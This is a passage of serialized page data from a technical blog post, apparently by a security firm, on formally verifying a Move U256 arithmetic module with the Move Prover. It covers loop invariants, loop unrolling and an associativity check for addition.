",{"type":22,"tag":80,"props":15065,"children":15068},{"href":15066,"rel":15067},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[84],[15069],{"type":27,"value":15070},"previous post",{"type":27,"value":231},{"type":22,"tag":91,"props":15073,"children":15075},{"code":15074,"language":95,"meta":7,"className":93,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n",[15076],{"type":22,"tag":30,"props":15077,"children":15078},{"__ignoreMap":7},[15079,15091,15102,15138,15161,15244,15251,15275,15283,15303,15323,15414,15421,15449],{"type":22,"tag":101,"props":15080,"children":15081},{"class":103,"line":104},[15082,15087],{"type":22,"tag":101,"props":15083,"children":15084},{"style":3595},[15085],{"type":27,"value":15086}," while",{"type":22,"tag":101,"props":15088,"children":15089},{"style":120},[15090],{"type":27,"value":12540},{"type":22,"tag":101,"props":15092,"children":15093},{"class":103,"line":157},[15094,15098],{"type":22,"tag":101,"props":15095,"children":15096},{"style":126},[15097],{"type":27,"value":12935},{"type":22,"tag":101,"props":15099,"children":15100},{"style":120},[15101],{"type":27,"value":154},{"type":22,"tag":101,"props":15103,"children":15104},{"class":103,"line":182},[15105,15110,15114,15118,15122,15126,15130,15134],{"type":22,"tag":101,"props":15106,"children":15107},{"style":126},[15108],{"type":27,"value":15109}," invariant",{"type":22,"tag":101,"props":15111,"children":15112},{"style":926},[15113],{"type":27,"value":12565},{"type":22,"tag":101,"props":15115,"children":15116},{"style":120},[15117],{"type":27,"value":980},{"type":22,"tag":101,"props":15119,"children":15120},{"style":126},[15121],{"type":27,"value":12574},{"type":22,"tag":101,"props":15123,"children":15124},{"style":120},[15125],{"type":27,"value":901},{"type":22,"tag":101,"props":15127,"children":15128},{"style":166},[15129],{"type":27,"value":4340},{"type":22,"tag":101,"props":15131,"children":15132},{"style":126},[15133],{"type":27,"value":7435},{"type":22,"tag":101,"props":15135,"children":15136},{"style":120},[15137],{"type":27,"value":1520},{"type":22,"tag":101,"props":15139,"children":15140},{"class":103,"line":367},[15141,15145,15149,15153,15157],{"type":22,"tag":101,"props":15142,"children":15143},{"style":126},[15144],{"type":27,"value":15109},{"type":22,"tag":101,"props":15146,"children":15147},{"style":126},[15148],{"type":27,"value":7435},{"type":22,"tag":101,"props":15150,"children":15151},{"style":166},[15152],{"type":27,"value":12206},{"type":22,"tag":101,"props":15154,"children":15155},{"style":126},[15156],{"type":27,"value":12494},{"type":22,"tag":101,"props":15158,"children":15159},{"style":120},[15160],{"type":27,"value":1520},{"type":22,"tag":101,"props":15162,"children":15163},{"class":103,"line":398},[15164,15168,15172,15176,15180,15184,15188,15192,15196,15200,15204,15208,15212,15216,15220,15224,15228,15232,15236,15240],{"type":22,"tag":101,"props":15165,"children":15166},{"style":126},[15167],{"type":27,"value":15109},{"type":22,"tag":101,"props":15169,"children":15170},{"style":126},[15171],{"type":27,"value":12625},{"type":22,"tag":101,"props":15173,"children":15174},{"style":126},[15175],{"type":27,"value":12630},{"type":22,"tag":101,"props":15177,"children":15178},{"style":108},[15179],{"type":27,"value":7087},{"type":22,"tag":101,"props":15181,"children":15182},{"style":1544},[15183],{"type":27,"value":1547},{"type":22,"tag":101,"props":15185,"children":15186},{"style":166},[15187],{"type":27,"value":7096},{"type":22,"tag":101,"props":15189,"children":15190},{"style":126},[15191],{"type":27,"value":7774},{"type":22,"tag":101,"props":15193,"children":15194},{"style":166},[15195],{"type":27,"value":169},{"type":22,"tag":101,"props":15197,"children":15198},{"style":126},[15199],{"type":27,"value":12430},{"type":22,"tag":101,"props":15201,"children":15202},{"style":120},[15203],{"type":27,"value":2414},{"type":22,"tag":101,"props":15205,"children":15206},{"style":126},[15207],{"type":27,"value":12663},{"type":22,"tag":101,"props":15209,"children":15210},{"style":120},[15211],{"type":27,"value":12668},{"type":22,"tag":101,"props":15213,"children":15214},{"style":166},[15215],{"type":27,"value":4340},{"type":22,"tag":101,"props":15217,"children":15218},{"style":126},[15219],{"type":27,"value":12677},{"type":22,"tag":101,"props":15221,"children":15222},{"style":120},[15223],{"type":27,"value":2414},{"type":22,"tag":101,"props":15225,"children":15226},{"style":126},[15227],{"type":27,"value":12663},{"type":22,"tag":101,"props":15229,"children":15230},{"style":120},[15231],{"type":27,"value":12668},{"type":22,"tag":101,"props":15233,"children":15234},{"style":166},[15235],{"type":27,"value":8615},{"type":22,"tag":101,"props":15237,"children":15238},{"style":126},[15239],{"type":27,"value":12494},{"type":22,"tag":101,"props":15241,"children":15242},{"style":120},[15243],{"type":27,"value":1520},{"type":22,"tag":101,"props":15245,"children":15246},{"class":103,"line":428},[15247],{"type":22,"tag":101,"props":15248,"children":15249},{"style":120},[15250],{"type":27,"value":12927},{"type":22,"tag":101,"props":15252,"children":15253},{"class":103,"line":997},[15254,15259,15263,15267,15271],{"type":22,"tag":101,"props":15255,"children":15256},{"style":120},[15257],{"type":27,"value":15258}," (",{"type":22,"tag":101,"props":15260,"children":15261},{"style":126},[15262],{"type":27,"value":7774},{"type":22,"tag":101,"props":15264,"children":15265},{"style":166},[15266],{"type":27,"value":12726},{"type":22,"tag":101,"props":15268,"children":15269},{"style":126},[15270],{"type":27,"value":12494},{"type":22,"tag":101,"props":15272,"children":15273},{"style":120},[15274],{"type":27,"value":2510},{"type":22,"tag":101,"props":15276,"children":15277},{"class":103,"line":1032},[15278],{"type":22,"tag":101,"props":15279,"children":15280},{"style":120},[15281],{"type":27,"value":15282}," }) {\n",{"type":22,"tag":101,"props":15284,"children":15285},{"class":103,"line":1063},[15286,15291,15295,15299],{"type":22,"tag":101,"props":15287,"children":15288},{"style":120},[15289],{"type":27,"value":15290}," vector",{"type":22,"tag":101,"props":15292,"children":15293},{"style":166},[15294],{"type":27,"value":970},{"type":22,"tag":101,"props":15296,"children":15297},{"style":926},[15298],{"type":27,"value":12759},{"type":22,"tag":101,"props":15300,"children":15301},{"style":120},[15302],{"type":27,"value":1850},{"type":22,"tag":101,"props":15304,"children":15305},{"class":103,"line":1071},[15306,15311,15315,15319],{"type":22,"tag":101,"props":15307,"children":15308},{"style":166},[15309],{"type":27,"value":15310}," &",{"type":22,"tag":101,"props":15312,"children":15313},{"style":108},[15314],{"type":27,"value":7760},{"type":22,"tag":101,"props":15316,"children":15317},{"style":126},[15318],{"type":27,"value":12430},{"type":22,"tag":101,"props":15320,"children":15321},{"style":120},[15322],{"type":27,"value":179},{"type":22,"tag":101,"props":15324,"children":15325},{"class":103,"line":1110},[15326,15330,15334,15338,15342,15346,15350,15354,15358,15362,15366,15370,15374,15378,15382,15386,15390,15394,15398,15402,15406,15410],{"type":22,"tag":101,"props":15327,"children":15328},{"style":120},[15329],{"type":27,"value":12717},{"type":22,"tag":101,"props":15331,"children":15332},{"style":166},[15333],{"type":27,"value":8615},{"type":22,"tag":101,"props":15335,"children":15336},{"style":120},[15337],{"type":27,"value":12800},{"type":22,"tag":101,"props":15339,"children":15340},{"style":166},[15341],{"type":27,"value":970},{"type":22,"tag":101,"props":15343,"children":15344},{"style":926},[15345],{"type":27,"value":12809},{"type":22,"tag":101,"props":15347,"children":15348},{"style":120},[15349],{"type":27,"value":980},{"type":22,"tag":101,"props":15351,"children":15352},{"style":166},[15353],{"type":27,"value":985},{"type":22,"tag":101,"props":15355,"children":15356},{"style":126},[15357],{"type":27,"value":12376},{"type":22,"tag":101,"props":15359,"children":15360},{"style":120},[15361],{"type":27,"value":12826},{"type":22,"tag":101,"props":15363,"children":15364},{"style":126},[15365],{"type":27,"value":7774},{"type":22,"tag":101,"props":15367,"children":15368},{"style":108},[15369],{"type":27,"value":12835},{"type":22,"tag":101,"props":15371,"children":15372},{"style":114},[15373],{"type":27,"value":174},{"type":22,"tag":101,"props":15375,"children":15376},{"style":120},[15377],{"type":27,"value":12844},{"type":22,"tag":101,"props":15379,"children":15380},{"style":108},[15381],{"type":27,"value":12849},{"type":22,"tag":101,"props":15383,"children":15384},{"style":114},[15385],{"type":27,"value":12854},{"type":22,"tag":101,"props":15387,"children":15388},{"style":120},[15389],{"type":27,"value":901},{"type":22,"tag":101,"props":15391,"children":15392},{"style":166},[15393],{"type":27,"value":8615},{"type":22,"tag":101,"props":15395,"children":15396},{"style":120},[15397],{"type":27,"value":3603},{"type":22,"tag":101,"props":15399,"children":15400},{"style":126},[15401],{"type":27,"value":12871},{"type":22,"tag":101,"props":15403,"children":15404},{"style":108},[15405],{"type":27,"value":12835},{"type":22,"tag":101,"props":15407,"children":15408},{"style":114},[15409],{"type":27,"value":12854},{"type":22,"tag":101,"props":15411,"children":15412},{"style":120},[15413],{"type":27,"value":2510},{"type":22,"tag":101,"props":15415,"children":15416},{"class":103,"line":1118},[15417],{"type":22,"tag":101,"props":15418,"children":15419},{"style":120},[15420],{"type":27,"value":10788},{"type":22,"tag":101,"props":15422,"children":15423},{"class":103,"line":1158},[15424,15429,15433,15437,15441,15445],{"type":22,"tag":101,"props":15425,"children":15426},{"style":126},[15427],{"type":27,"value":15428}," i",{"type":22,"tag":101,"props":15430,"children":15431},{"style":166},[15432],{"type":27,"value":960},{"type":22,"tag":101,"props":15434,"children":15435},{"style":126},[15436],{"type":27,"value":7435},{"type":22,"tag":101,"props":15438,"children":15439},{"style":166},[15440],{"type":27,"value":3643},{"type":22,"tag":101,"props":15442,"children":15443},{"style":1544},[15444],{"type":27,"value":3648},{"type":22,"tag":101,"props":15446,"children":15447},{"style":120},[15448],{"type":27,"value":1520},{"type":22,"tag":101,"props":15450,"children":15451},{"class":103,"line":1166},[15452],{"type":22,"tag":101,"props":15453,"children":15454},{"style":120},[15455],{"type":27,"value":15456}," };\n",{"type":22,"tag":23,"props":15458,"children":15459},{},[15460,15462,15468,15470,15475,15477,15483],{"type":27,"value":15461},"In this case, the brackets specify the loop invariant for the ",{"type":22,"tag":30,"props":15463,"children":15465},{"className":15464},[],[15466],{"type":27,"value":15467},"while",{"type":27,"value":15469}," loop. Note that because the loop invariant executes ",{"type":22,"tag":6961,"props":15471,"children":15472},{},[15473],{"type":27,"value":15474},"after",{"type":27,"value":15476}," the loop guard, so we need to account for an extra step with ",{"type":22,"tag":30,"props":15478,"children":15480},{"className":15479},[],[15481],{"type":27,"value":15482},"i \u003C= n_coins",{"type":27,"value":231},{"type":22,"tag":91,"props":15485,"children":15487},{"code":15486,"language":95,"meta":7,"className":93,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n",[15488],{"type":22,"tag":30,"props":15489,"children":15490},{"__ignoreMap":7},[15491,15502,15513,15548,15571,15654,15661,15684],{"type":22,"tag":101,"props":15492,"children":15493},{"class":103,"line":104},[15494,15498],{"type":22,"tag":101,"props":15495,"children":15496},{"style":3595},[15497],{"type":27,"value":15086},{"type":22,"tag":101,"props":15499,"children":15500},{"style":120},[15501],{"type":27,"value":12540},{"type":22,"tag":101,"props":15503,"children":15504},{"class":103,"line":157},[15505,15509],{"type":22,"tag":101,"props":15506,"children":15507},{"style":126},[15508],{"type":27,"value":12935},{"type":22,"tag":101,"props":15510,"children":15511},{"style":120},[15512],{"type":27,"value":154},{"type":22,"tag":101,"props":15514,"children":15515},{"class":103,"line":182},[15516,15520,15524,15528,15532,15536,15540,15544],{"type":22,"tag":101,"props":15517,"children":15518},{"style":126},[15519],{"type":27,"value":15109},{"type":22,"tag":101,"props":15521,"children":15522},{"style":926},[15523],{"type":27,"value":12565},{"type":22,"tag":101,"props":15525,"children":15526},{"style":120},[15527],{"type":27,"value":980},{"type":22,"tag":101,"props":15529,"children":15530},{"style":126},[15531],{"type":27,"value":12574},{"type":22,"tag":101,"props":15533,"children":15534},{"style":120},[15535],{"type":27,"value":901},{"type":22,"tag":101,"props":15537,"children":15538},{"style":166},[15539],{"type":27,"value":4340},{"type":22,"tag":101,"props":15541,"children":15542},{"style":126},[15543],{"type":27,"value":7435},{"type":22,"tag":101,"props":15545,"children":15546},{"style":120},[15547],{"type":27,"value":1520},{"type":22,"tag":101,"props":15549,"children":15550},{"class":103,"line":367},[15551,15555,15559,15563,15567],{"type":22,"tag":101,"props":15552,"children":15553},{"style":126},[15554],{"type":27,"value":15109},{"type":22,"tag":101,"props":15556,"children":15557},{"style":126},[15558],{"type":27,"value":7435},{"type":22,"tag":101,"props":15560,"children":15561},{"style":166},[15562],{"type":27,"value":12206},{"type":22,"tag":101,"props":15564,"children":15565},{"style":126},[15566],{"type":27,"value":12494},{"type":22,"tag":101,"props":15568,"children":15569},{"style":120},[15570],{"type":27,"value":1520},{"type":22,"tag":101,"props":15572,"children":15573},{"class":103,"line":398},[15574,15578,15582,15586,15590,15594,15598,15602,15606,15610,15614,15618,15622,15626,15630,15634,15638,15642,15646,15650],{"type":22,"tag":101,"props":15575,"children":15576},{"style":126},[15577],{"type":27,"value":15109},{"type":22,"tag":101,"props":15579,"children":15580},{"style":126},[15581],{"type":27,"value":12625},{"type":22,"tag":101,"props":15583,"children":15584},{"style":126},[15585],{"type":27,"value":12630},{"type":22,"tag":101,"props":15587,"children":15588},{"style":108},[15589],{"type":27,"value":7087},{"type":22,"tag":101,"props":15591,"children":15592},{"style":1544},[15593],{"type":27,"value":1547},{"type":22,"tag":101,"props":15595,"children":15596},{"style":166},[15597],{"type":27,"value":7096},{"type":22,"tag":101,"props":15599,"children":15600},{"style":126},[15601],{"type":27,"value":7774},{"type":22,"tag":101,"props":15603,"children":15604},{"style":166},[15605],{"type":27,"value":169},{"type":22,"tag":101,"props":15607,"children":15608},{"style":126},[15609],{"type":27,"value":12430},{"type":22,"tag":101,"props":15611,"children":15612},{"style":120},[15613],{"type":27,"value":2414},{"type":22,"tag":101,"props":15615,"children":15616},{"style":126},[15617],{"type":27,"value":12663},{"type":22,"tag":101,"props":15619,"children":15620},{"style":120},[15621],{"type":27,"value":12668},{"type":22,"tag":101,"props":15623,"children":15624},{"style":166},[15625],{"type":27,"value":4340},{"type":22,"tag":101,"props":15627,"children":15628},{"style":126},[15629],{"type":27,"value":12677},{"type":22,"tag":101,"props":15631,"children":15632},{"style":120},[15633],{"type":27,"value":2414},{"type":22,"tag":101,"props":15635,"children":15636},{"style":126},[15637],{"type":27,"value":12663},{"type":22,"tag":101,"props":15639,"children":15640},{"style":120},[15641],{"type":27,"value":12668},{"type":22,"tag":101,"props":15643,"children":15644},{"style":166},[15645],{"type":27,"value":8615},{"type":22,"tag":101,"props":15647,"children":15648},{"style":126},[15649],{"type":27,"value":12494},{"type":22,"tag":101,"props":15651,"children":15652},{"style":120},[15653],{"type":27,"value":1520},{"type":22,"tag":101,"props":15655,"children":15656},{"class":103,"line":428},[15657],{"type":22,"tag":101,"props":15658,"children":15659},{"style":120},[15660],{"type":27,"value":12927},{"type":22,"tag":101,"props":15662,"children":15663},{"class":103,"line":997},[15664,15668,15672,15676,15680],{"type":22,"tag":101,"props":15665,"children":15666},{"style":120},[15667],{"type":27,"value":15258},{"type":22,"tag":101,"props":15669,"children":15670},{"style":126},[15671],{"type":27,"value":7774},{"type":22,"tag":101,"props":15673,"children":15674},{"style":166},[15675],{"type":27,"value":12726},{"type":22,"tag":101,"props":15677,"children":15678},{"style":126},[15679],{"type":27,"value":12494},{"type":22,"tag":101,"props":15681,"children":15682},{"style":120},[15683],{"type":27,"value":2510},{"type":22,"tag":101,"props":15685,"children":15686},{"class":103,"line":1032},[15687],{"type":22,"tag":101,"props":15688,"children":15689},{"style":120},[15690],{"type":27,"value":15282},{"type":22,"tag":23,"props":15692,"children":15693},{},[15694],{"type":27,"value":15695},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":22,"tag":23,"props":15697,"children":15698},{},[15699,15701,15706],{"type":27,"value":15700},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":22,"tag":30,"props":15702,"children":15704},{"className":15703},[],[15705],{"type":27,"value":13643},{"type":27,"value":15707}," function will always iterate exactly 4 times:",{"type":22,"tag":91,"props":15709,"children":15711},{"code":15710,"language":95,"meta":7,"className":93,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n let a1 = get(&a, i);\n let b1 = get(&b, i);\n\n[...]\n",[15712],{"type":22,"tag":30,"props":15713,"children":15714},{"__ignoreMap":7},[15715,15723,15756,15763,15778,15785,15809,15833,15878,15922,15929],{"type":22,"tag":101,"props":15716,"children":15717},{"class":103,"line":104},[15718],{"type":22,"tag":101,"props":15719,"children":15720},{"style":2215},[15721],{"type":27,"value":15722},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":22,"tag":101,"props":15724,"children":15725},{"class":103,"line":157},[15726,15730,15735,15739,15743,15747,15752],{"type":22,"tag":101,"props":15727,"children":15728},{"style":108},[15729],{"type":27,"value":13660},{"type":22,"tag":101,"props":15731,"children":15732},{"style":120},[15733],{"type":27,"value":15734}," WORDS",{"type":22,"tag":101,"props":15736,"children":15737},{"style":166},[15738],{"type":27,"value":169},{"type":22,"tag":101,"props":15740,"children":15741},{"style":114},[15742],{"type":27,"value":174},{"type":22,"tag":101,"props":15744,"children":15745},{"style":166},[15746],{"type":27,"value":960},{"type":22,"tag":101,"props":15748,"children":15749},{"style":1544},[15750],{"type":27,"value":15751}," 4",{"type":22,"tag":101,"props":15753,"children":15754},{"style":120},[15755],{"type":27,"value":1520},{"type":22,"tag":101,"props":15757,"children":15758},{"class":103,"line":182},[15759],{"type":22,"tag":101,"props":15760,"children":15761},{"emptyLinePlaceholder":15},[15762],{"type":27,"value":1581},{"type":22,"tag":101,"props":15764,"children":15765},{"class":103,"line":367},[15766,15770,15774],{"type":22,"tag":101,"props":15767,"children":15768},{"style":120},[15769],{"type":27,"value":2414},{"type":22,"tag":101,"props":15771,"children":15772},{"style":166},[15773],{"type":27,"value":614},{"type":22,"tag":101,"props":15775,"children":15776},{"style":120},[15777],{"type":27,"value":1884},{"type":22,"tag":101,"props":15779,"children":15780},{"class":103,"line":398},[15781],{"type":22,"tag":101,"props":15782,"children":15783},{"emptyLinePlaceholder":15},[15784],{"type":27,"value":1581},{"type":22,"tag":101,"props":15786,"children":15787},{"class":103,"line":428},[15788,15793,15797,15801,15805],{"type":22,"tag":101,"props":15789,"children":15790},{"style":108},[15791],{"type":27,"value":15792},"let",{"type":22,"tag":101,"props":15794,"children":15795},{"style":126},[15796],{"type":27,"value":7435},{"type":22,"tag":101,"props":15798,"children":15799},{"style":166},[15800],{"type":27,"value":960},{"type":22,"tag":101,"props":15802,"children":15803},{"style":1544},[15804],{"type":27,"value":1547},{"type":22,"tag":101,"props":15806,"children":15807},{"style":120},[15808],{"type":27,"value":1520},{"type":22,"tag":101,"props":15810,"children":15811},{"class":103,"line":997},[15812,15816,15820,15824,15828],{"type":22,"tag":101,"props":15813,"children":15814},{"style":3595},[15815],{"type":27,"value":15467},{"type":22,"tag":101,"props":15817,"children":15818},{"style":120},[15819],{"type":27,"value":3603},{"type":22,"tag":101,"props":15821,"children":15822},{"style":126},[15823],{"type":27,"value":7774},{"type":22,"tag":101,"props":15825,"children":15826},{"style":166},[15827],{"type":27,"value":12726},{"type":22,"tag":101,"props":15829,"children":15830},{"style":120},[15831],{"type":27,"value":15832}," WORDS) {\n",{"type":22,"tag":101,"props":15834,"children":15835},{"class":103,"line":1032},[15836,15840,15845,15849,15854,15858,15862,15866,15870,15874],{"type":22,"tag":101,"props":15837,"children":15838},{"style":108},[15839],{"type":27,"value":950},{"type":22,"tag":101,"props":15841,"children":15842},{"style":126},[15843],{"type":27,"value":15844}," a1",{"type":22,"tag":101,"props":15846,"children":15847},{"style":166},[15848],{"type":27,"value":960},{"type":22,"tag":101,"props":15850,"children":15851},{"style":926},[15852],{"type":27,"value":15853}," get",{"type":22,"tag":101,"props":15855,"children":15856},{"style":120},[15857],{"type":27,"value":980},{"type":22,"tag":101,"props":15859,"children":15860},{"style":166},[15861],{"type":27,"value":985},{"type":22,"tag":101,"props":15863,"children":15864},{"style":126},[15865],{"type":27,"value":80},{"type":22,"tag":101,"props":15867,"children":15868},{"style":120},[15869],{"type":27,"value":758},{"type":22,"tag":101,"props":15871,"children":15872},{"style":126},[15873],{"type":27,"value":7774},{"type":22,"tag":101,"props":15875,"children":15876},{"style":120},[15877],{"type":27,"value":994},{"type":22,"tag":101,"props":15879,"children":15880},{"class":103,"line":1063},[15881,15885,15890,15894,15898,15902,15906,15910,15914,15918],{"type":22,"tag":101,"props":15882,"children":15883},{"style":108},[15884],{"type":27,"value":950},{"type":22,"tag":101,"props":15886,"children":15887},{"style":126},[15888],{"type":27,"value":15889}," b1",{"type":22,"tag":101,"props":15891,"children":15892},{"style":166},[15893],{"type":27,"value":960},{"type":22,"tag":101,"props":15895,"children":15896},{"style":926},[15897],{"type":27,"value":15853},{"type":22,"tag":101,"props":15899,"children":15900},{"style":120},[15901],{"type":27,"value":980},{"type":22,"tag":101,"props":15903,"children":15904},{"style":166},[15905],{"type":27,"value":985},{"type":22,"tag":101,"props":15907,"children":15908},{"style":126},[15909],{"type":27,"value":7262},{"type":22,"tag":101,"props":15911,"children":15912},{"style":120},[15913],{"type":27,"value":758},{"type":22,"tag":101,"props":15915,"children":15916},{"style":126},[15917],{"type":27,"value":7774},{"type":22,"tag":101,"props":15919,"children":15920},{"style":120},[15921],{"type":27,"value":994},{"type":22,"tag":101,"props":15923,"children":15924},{"class":103,"line":1071},[15925],{"type":22,"tag":101,"props":15926,"children":15927},{"emptyLinePlaceholder":15},[15928],{"type":27,"value":1581},{"type":22,"tag":101,"props":15930,"children":15931},{"class":103,"line":1110},[15932,15936,15940],{"type":22,"tag":101,"props":15933,"children":15934},{"style":120},[15935],{"type":27,"value":2414},{"type":22,"tag":101,"props":15937,"children":15938},{"style":166},[15939],{"type":27,"value":614},{"type":22,"tag":101,"props":15941,"children":15942},{"style":120},[15943],{"type":27,"value":1884},{"type":22,"tag":23,"props":15945,"children":15946},{},[15947],{"type":27,"value":15948},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":22,"tag":91,"props":15950,"children":15952},{"code":15951},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n \"Result\": \"Success\"\n}\n",[15953],{"type":22,"tag":30,"props":15954,"children":15955},{"__ignoreMap":7},[15956],{"type":27,"value":15951},{"type":22,"tag":23,"props":15958,"children":15959},{},[15960,15962,15967,15968,15974],{"type":27,"value":15961},"For the ",{"type":22,"tag":9370,"props":15963,"children":15964},{},[15965],{"type":27,"value":15966},"Associative Property",{"type":27,"value":3603},{"type":22,"tag":30,"props":15969,"children":15971},{"className":15970},[],[15972],{"type":27,"value":15973},"a+(b+c) = (a+b)+c",{"type":27,"value":15975},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":22,"tag":91,"props":15977,"children":15979},{"code":15978,"language":95,"meta":7,"className":93,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n let result_1 = add(b, c);\n let result_11 = add(a, result_1);\n let result_2 = add(a, b);\n let result_22 = add(c, result_2);\n\n let cmp = compare(&result_11, &result_22);\n if ( cmp == EQUAL ) true else false\n}\n",[15980],{"type":22,"tag":30,"props":15981,"children":15982},{"__ignoreMap":7},[15983,16059,16098,16139,16178,16219,16226,16276,16316],{"type":22,"tag":101,"props":15984,"children":15985},{"class":103,"line":104},[15986,15990,15995,15999,16003,16007,16011,16015,16019,16023,16027,16031,16035,16039,16043,16047,16051,16055],{"type":22,"tag":101,"props":15987,"children":15988},{"style":126},[15989],{"type":27,"value":2848},{"type":22,"tag":101,"props":15991,"children":15992},{"style":926},[15993],{"type":27,"value":15994}," add_assoc_property",{"type":22,"tag":101,"props":15996,"children":15997},{"style":120},[15998],{"type":27,"value":980},{"type":22,"tag":101,"props":16000,"children":16001},{"style":126},[16002],{"type":27,"value":80},{"type":22,"tag":101,"props":16004,"children":16005},{"style":166},[16006],{"type":27,"value":169},{"type":22,"tag":101,"props":16008,"children":16009},{"style":114},[16010],{"type":27,"value":8775},{"type":22,"tag":101,"props":16012,"children":16013},{"style":120},[16014],{"type":27,"value":758},{"type":22,"tag":101,"props":16016,"children":16017},{"style":126},[16018],{"type":27,"value":7262},{"type":22,"tag":101,"props":16020,"children":16021},{"style":166},[16022],{"type":27,"value":169},{"type":22,"tag":101,"props":16024,"children":16025},{"style":114},[16026],{"type":27,"value":8775},{"type":22,"tag":101,"props":16028,"children":16029},{"style":120},[16030],{"type":27,"value":758},{"type":22,"tag":101,"props":16032,"children":16033},{"style":126},[16034],{"type":27,"value":7187},{"type":22,"tag":101,"props":16036,"children":16037},{"style":166},[16038],{"type":27,"value":169},{"type":22,"tag":101,"props":16040,"children":16041},{"style":114},[16042],{"type":27,"value":8775},{"type":22,"tag":101,"props":16044,"children":16045},{"style":120},[16046],{"type":27,"value":2261},{"type":22,"tag":101,"props":16048,"children":16049},{"style":166},[16050],{"type":27,"value":169},{"type":22,"tag":101,"props":16052,"children":16053},{"style":114},[16054],{"type":27,"value":360},{"type":22,"tag":101,"props":16056,"children":16057},{"style":120},[16058],{"type":27,"value":154},{"type":22,"tag":101,"props":16060,"children":16061},{"class":103,"line":157},[16062,16066,16070,16074,16078,16082,16086,16090,16094],{"type":22,"tag":101,"props":16063,"children":16064},{"style":108},[16065],{"type":27,"value":950},{"type":22,"tag":101,"props":16067,"children":16068},{"style":126},[16069],{"type":27,"value":12201},{"type":22,"tag":101,"props":16071,"children":16072},{"style":166},[16073],{"type":27,"value":960},{"type":22,"tag":101,"props":16075,"children":16076},{"style":926},[16077],{"type":27,"value":13588},{"type":22,"tag":101,"props":16079,"children":16080},{"style":120},[16081],{"type":27,"value":980},{"type":22,"tag":101,"props":16083,"children":16084},{"style":126},[16085],{"type":27,"value":7262},{"type":22,"tag":101,"props":16087,"children":16088},{"style":120},[16089],{"type":27,"value":758},{"type":22,"tag":101,"props":16091,"children":16092},{"style":126},[16093],{"type":27,"value":7187},{"type":22,"tag":101,"props":16095,"children":16096},{"style":120},[16097],{"type":27,"value":994},{"type":22,"tag":101,"props":16099,"children":16100},{"class":103,"line":182},[16101,16105,16110,16114,16118,16122,16126,16130,16135],{"type":22,"tag":101,"props":16102,"children":16103},{"style":108},[16104],{"type":27,"value":950},{"type":22,"tag":101,"props":16106,"children":16107},{"style":126},[16108],{"type":27,"value":16109}," result_11",{"type":22,"tag":101,"props":16111,"children":16112},{"style":166},[16113],{"type":27,"value":960},{"type":22,"tag":101,"props":16115,"children":16116},{"style":926},[16117],{"type":27,"value":13588},{"type":22,"tag":101,"props":16119,"children":16120},{"style":120},[16121],{"type":27,"value":980},{"type":22,"tag":101,"props":16123,"children":16124},{"style":126},[16125],{"type":27,"value":80},{"type":22,"tag":101,"props":16127,"children":16128},{"style":120},[16129],{"type":27,"value":758},{"type":22,"tag":101,"props":16131,"children":16132},{"style":126},[16133],{"type":27,"value":16134},"result_1",{"type":22,"tag":101,"props":16136,"children":16137},{"style":120},[16138],{"type":27,"value":994},{"type":22,"tag":101,"props":16140,"children":16141},{"class":103,"line":367},[16142,16146,16150,16154,16158,16162,16166,16170,16174],{"type":22,"tag":101,"props":16143,"children":16144},{"style":108},[16145],{"type":27,"value":950},{"type":22,"tag":101,"props":16147,"children":16148},{"style":126},[16149],{"type":27,"value":12227},{"type":22,"tag":101,"props":16151,"children":16152},{"style":166},[16153],{"type":27,"value":960},{"type":22,"tag":101,"props":16155,"children":16156},{"style":926},[16157],{"type":27,"value":13588},{"type":22,"tag":101,"props":16159,"children":16160},{"style":120},[16161],{"type":27,"value":980},{"type":22,"tag":101,"props":16163,"children":16164},{"style":126},[16165],{"type":27,"value":80},{"type":22,"tag":101,"props":16167,"children":16168},{"style":120},[16169],{"type":27,"value":758},{"type":22,"tag":101,"props":16171,"children":16172},{"style":126},[16173],{"type":27,"value":7262},{"type":22,"tag":101,"props":16175,"children":16176},{"style":120},[16177],{"type":27,"value":994},{"type":22,"tag":101,"props":16179,"children":16180},{"class":103,"line":398},[16181,16185,16190,16194,16198,16202,16206,16210,16215],{"type":22,"tag":101,"props":16182,"children":16183},{"style":108},[16184],{"type":27,"value":950},{"type":22,"tag":101,"props":16186,"children":16187},{"style":126},[16188],{"type":27,"value":16189}," result_22",{"type":22,"tag":101,"props":16191,"children":16192},{"style":166},[16193],{"type":27,"value":960},{"type":22,"tag":101,"props":16195,"children":16196},{"style":926},[16197],{"type":27,"value":13588},{"type":22,"tag":101,"props":16199,"children":16200},{"style":120},[16201],{"type":27,"value":980},{"type":22,"tag":101,"props":16203,"children":16204},{"style":126},[16205],{"type":27,"value":7187},{"type":22,"tag":101,"props":16207,"children":16208},{"style":120},[16209],{"type":27,"value":758},{"type":22,"tag":101,"props":16211,"children":16212},{"style":126},[16213],{"type":27,"value":16214},"result_2",{"type":22,"tag":101,"props":16216,"children":16217},{"style":120},[16218],{"type":27,"value":994},{"type":22,"tag":101,"props":16220,"children":16221},{"class":103,"line":428},[16222],{"type":22,"tag":101,"props":16223,"children":16224},{"emptyLinePlaceholder":15},[16225],{"type":27,"value":1581},{"type":22,"tag":101,"props":16227,"children":16228},{"class":103,"line":997},[16229,16233,16237,16241,16246,16250,16254,16259,16263,16267,16272],{"type":22,"tag":101,"props":16230,"children":16231},{"style":108},[16232],{"type":27,"value":950},{"type":22,"tag":101,"props":16234,"children":16235},{"style":126},[16236],{"type":27,"value":11870},{"type":22,"tag":101,"pro